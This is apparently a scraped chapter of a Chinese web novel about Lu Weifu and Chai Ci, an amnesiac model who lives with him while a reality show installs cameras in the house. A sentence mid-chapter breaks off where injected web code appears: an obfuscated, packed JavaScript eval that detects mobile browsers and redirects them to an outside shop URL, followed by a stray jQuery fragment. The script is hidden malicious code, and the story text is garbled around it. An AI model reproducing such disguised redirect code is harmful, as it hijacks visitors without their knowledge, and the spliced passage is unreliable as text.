若不是他表情严肃,徐莫轩还以为他在开玩笑,“敢情你在办公室说的认真的?”

    “我什么时候开过玩笑?”

    “……行,你真行。”徐莫轩觉得眼前的人可怕至极,“你就趁着人家失忆了,又是第一次来国内啥都不知道吧,等他想起来立马飞回美国,我看你怎么办。”

    陆未复冷哼一声:“你觉得我会给他这个机会?”

    不等徐莫轩琢磨明白他这句话啥意思,陆未复小声道了句:“我和他之前的事情暂时不要告诉你姐。”

    “我姐不知道这事?”

    “不知道。”

    “太好了!我终于在我姐面前不是一无所知了!”徐莫轩义气地拍了拍陆未复的肩膀:“放心吧兄弟,这事你知我知天知——”

    “嘭——”大门紧闭,蹭了徐莫轩一鼻子风。

    “哥哥,他走了吗?”柴次从楼上探了个金色脑袋出来。

    陆未复云淡风轻地:“嗯。”

    “他是你朋友?”柴次边问着走下楼。

    “是,他之前被家里人安排在美国的公司历练,今天刚回来。”陆未复说,“他也是徐菱的亲弟弟。”

    “啊?”柴次惊了。

    “很惊讶吗?”陆未复问,“徐菱没告诉过你她有个傻弟弟?”

    “……”好像是说过有个傻子。“我知道了,哥哥,我还有件事情要跟你说。”

    陆未复:“说。”

    “明天节目组的人要来装摄像头,请问家里除了书房和你的卧室还有哪里是不能装的?”柴次问。

    “没,你看着办吧。”

    “好!那我回房间和徐姐打电话了。”

    陆未复听着他哒哒哒上楼的声音,随后眼神在屋内逡巡一圈,尔后嘴角微微扬起。

    晚上,陆未复处理完工作躺在床上怎么也睡不着,凌晨一点,他起身点了支助眠熏香,正在考虑要不要吃安眠药的时候,门外传来一声低低的敲门声。

    他关上抽屉,打开门,只见柴次穿着松松垮垮的睡衣站在门口,“这么晚了什么事?”

    柴次困倦地揉了揉眼睛,“哥哥,我刚才起床上厕所听见你房间有声音,你怎么还没睡?”

    “睡不着。”

    “啊?为什么?”柴次仰着头一脸迷茫。

    陆未复垂眼盯着他绿色朦胧的瞳,喉结上下翻滚,“失眠。”

    “啊?那怎么办?”柴次一副担心的模样,可眼睛都快闭上了。

    陆未复:“吃药。”

    “吃药对身体不好,要不我哄哥哥睡觉吧?”柴次眨巴着亮亮的眼睛说。

    “怎么哄?”

    “就……我可以唱歌给哥哥听,等会儿你睡着了我就回房间。”他说得一本正经。

    陆未复觉得有趣,柴次还会唱歌?

    “行啊,进来吧。”

    陆未复真的按他说着躺在床上,柴次看了眼旁边空荡荡的地方,“哥哥,我能坐在你床上唱吗?”

    “能。”陆未复嗓音低哑。

    柴次小心翼翼地坐在床上,半靠着床头的靠枕,侧身对着陆未复。

    “我给哥哥唱我小时候自己哄自己睡觉的歌吧。”柴次说:“哥哥你把眼睛闭上。”

    自己哄自己?陆未复不禁一笑,但他还是闭上了眼睛。

    “Twinkle twinkle little star.How I wonder what you are.”

    “Up above the world so high.Like a diamond in the sky.”

    “Twinkle twinkle little star……”

    “When the blazing sun is gone……”

    声音渐小,直至听见平稳的呼吸声。

    陆未复睁开眼睛,旁边说着要哄他睡觉的人给自己哄睡着了。

    “还真是自己哄自己睡。”陆未复说着给自己气笑了,他正准备起身吃药,发现身上有些重量。

    低头一看,是柴次不知道什么时候放上来的手。

    算了,懒得给人吵醒,一会儿又说要给他唱歌。

    他将被子分了一半过去,随后抬手将灯关上,室内陷入一片昏暗。

    隔天清晨,生物钟准时将陆未复叫醒。

    未关紧的窗帘泻进来,映入眼帘的是一张漂亮得似一幅油画般的脸,樱桃红的湿润嘴唇近在咫尺,那纤长细密的睫毛像一把轻盈的小扇。

    陆未复在杂志上看到过柴次小时候的照片,那时候被Caroline抱在怀里的柴次漂亮得和洋娃娃似的,那张穿着绿色的碎花裙躺在沐浴着阳光的绿色玫瑰花地的照片的确如外媒所评价的那样,是上天派来的Angel。

    等比长大的柴次依旧漂亮,可那副天使般的面孔却变成了他性格顽劣的武器,所有人都会成为他召之即来挥之即去的玩物。

    玩腻了随时可以扔掉的玩物。

    因为他确信他有数不清的新玩物陪他玩。

    怀里的人动了动,刹那间双目相撞。

    柴次呆愣地看着陆未复那双阴沉低迷的眼睛,他扫视了一圈室内,随后迅速坐起来。

    “哥哥,我怎么会睡在你这里?”

    陆未复闭了闭眼,声音沙哑:“昨晚上有个人说哄完我睡觉就回房间,结果自己倒先睡了。”

    “对不起哥哥!”柴次十分愧疚,“我不知道,你应该叫醒我的。”

    “叫醒你然后继续给自己唱睡着吗?”陆未复说着站起身,拉开窗帘。

    一瞬间,室内铺满了阳光。

    这时候陆未复的手机震动了下,他看着不知所措的柴次:“去楼下开门。”

    “哦!”柴次忙不迭跑出去了。

    陆未复眼神扫过柴次躺了一晚上的被窝,然后径直走向了浴室。

    十分钟后,陆未复换好衣服从楼上下来。

    “哥哥,是何助理来送早餐了,你快来!”

    陆未复并没有在客厅停留,“给你送的,我去上班了。”

    “哦……”

    上班途中,何从透过后视镜看了眼后座的陆未复,不禁道:“陆总今天的状态好像很好,昨晚没有失眠吗?”

    被他这么一提醒,陆未复才惊觉昨天晚上自己莫名其妙地就睡着了。

    “嗯,可能是昨晚上的摇篮曲起效果了吧。”他戏谑道。

    何从暗自咋舌,一大早的陆未复就能说冷笑话,看来是真休息好了。他开始默默为今天汇报的部门哀悼,今天的老板可有的是精力挑刺。

    来安装摄像头的节目组工作人员下午才到,徐菱也跟着过来了。

    “柴老师,那没问题的话我们就开始了。”工作人员说。

    柴次点头:“好,注意不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17910289|213099||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    要碰坏东西。”

    “当然。”

    徐菱叮嘱道:“小方,你盯着他们安装。”

    方旭:“好的,徐姐,放心吧!”

    徐菱看向柴次:“你跟我过来一下。”

    “哦。”柴次应声跟她走到阳台。

    徐菱关上阳台门,里面的声响一点都听不见了。

    “我得跟你说一些注意事项,虽然之前也提醒过你,但毕竟你现在失忆了,很多事情的处理方式可能不会很成熟。”

    柴次:“我五岁就开始工作了,虽然是第一次录制节目,但基本的分寸也知道。”

    “你知道?”徐菱意味深长地一笑,“那你知道当初你第一次联系我的时候说无论发生什么都不能干扰你的个人感情生活吗?”

    柴次一愣,“什么?”

    徐菱:“你在17岁之前没有交往的对象吗?”

    柴次摇头:“没。”

    “那你成年之后的情史还真够丰富的。”徐菱不禁感慨,“我不管你以前有过多少男朋友,在节目拍摄期间最好不要有感情问题。”

    柴次不假思索:“不会。”

    徐菱也不知道信没信,只道:“你昨晚问我的事情我心里有数,一开始我就没想让陆未复出现在镜头里,打码也不行。昨晚我问了徐莫轩,他说陆未复没有暴露自己的癖好,他管着那么大一个公司,出于舆论考虑是不会让企业和娱乐圈沾上关系的。但剪辑那边我还是会仔细盯着,你放心吧。”

    “嗯,好。”柴次松了口气。

    徐菱不禁问道:“我更好奇的是你给的理由不是不想让陆未复出境,而是不想让大家知道你们住在一起,为什么?”

    柴次没打算隐瞒,直接解释道:“这件事情不能让Jane知道。”

    徐菱表情一变,“你们之间有矛盾?”

    “我和她的理念不合,很多事情不是一两句话能解释的。”

    徐菱点点头:“明白。”

    夏雨迟迟,坠响大地,狂风在黑夜中轰然摇晃城市。

    湿凉的卧室内明亮如昼,柴次盯着窗外左右摇摆的大树,将自己蜷缩在了被子里。

    此时一道片状式闪电划过夜空,屋内顿时闪烁过一道亮光。

    ‘轰隆隆——’雷声接踵而至,暴雨哗然作响。

    嗞啦一声,室内遽然陷入一片黑暗。

    坐在床头的陆未复微微蹙眉,放下手中的书,拿起手机,物业刚发来一条紧急停电通知。

    那就早点睡吧。

    他将书放在床头柜上,随后躺下,闭上眼睛后他的大脑细胞依旧活跃得过分。自从陆鸣骁死后,他一直都在处理公司的事情,不仅如此还要分心给柴次,这段时间失眠的症状越来越重,医生给他开的安眠药都吃完了。

    不对,其实也不是没有睡过一个好觉,比如昨晚。

    黑暗中,陆未复睁开眼睛,只听一道窸窸窣窣的声响从门口传来,紧接着门锁被人扭开,那人迈着轻盈的步伐朝着床的位置走来。

    早已适应黑暗的陆未复瞧着那道黑影慢慢地摸索至床位,似乎有些犹豫地,但最后又似乎是下定了决心的。

    身边的床位缓缓往下塌陷,被窝里伸进一只冰凉的手,逐渐攀附上陆未复的胸口,一团温热的气息萦绕在鼻息间。

    那双漂亮的鹿眼在夜里透过月光依旧亮晶晶的,耳边传来一道可怜兮兮的声音:“哥哥,我怕黑。”